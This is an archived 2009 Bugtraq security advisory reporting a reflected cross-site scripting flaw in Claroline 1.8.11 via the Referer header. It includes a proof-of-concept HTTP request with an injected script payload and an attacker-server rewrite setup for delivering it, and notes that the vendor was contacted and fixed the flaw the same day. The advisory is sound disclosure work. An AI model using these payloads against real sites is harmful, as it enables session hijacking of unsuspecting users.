bugtraq - Claroline v.1.8.11 Cross-Site Scripting

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [day] [month] [year] [list]

Message-Id: <200905080647.n486lHu1023576@www5.securityfocus.com>
Date: Fri, 8 May 2009 00:47:17 -0600
From: darkz.gsa@...il.com
To: bugtraq@...urityfocus.com
Subject: Claroline v.1.8.11 Cross-Site Scripting

Author: Gerendi Sandor Attila 
Original Advisory: http://gsasec.blogspot.com/2009/05/claroline-v1811-cross-site-scripting.html
Date: May 05, 2009
Package: Claroline (1.8.11)
Product Homepage: http://www.claroline.net/
Versions Affected: v.1.8.11 (Other versions may also be affected)
Severity: Medium

Input passed to the 'Referer' header parameter when posting to '/claroline/linker/notfound.php' is not sanitized before it is returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site.

Example:

GET /claroline_1_8_11/claroline/linker/notfound.php HTTP/1.0
Accept: */*
Referer: "><script>alert(123)</script><a href="

There are a couple of ways to inject arbitrary text (java script in our case) in the referer header parameter. One of the ways is using a rewrite rule on the remote attacker server. Example .htaccess file:

RewriteEngine  on
RewriteRule ^referer/.*$ test.php [L]

Where the test.php file will be the container of the /claroline_1_8_11/claroline/linker/notfound.php link.

Now a request like: http://remoteatackersite/referer/?"><script>alert(123)</script><a%20href="

will return a page from wich if we call /claroline_1_8_11/claroline/linker/notfound.php we trigger the XSS.

Note: For the first request browsers like IE are required (which does not automatically httpencode the get params)

Status:
1. Contacted the author at: May 05, 2009 via http://forum.claroline.net/.
2. The author promptly (same day) fixed the problem, read at: http://forum.claroline.net/viewtopic.php?f=69&t=16193&p=42102#p42099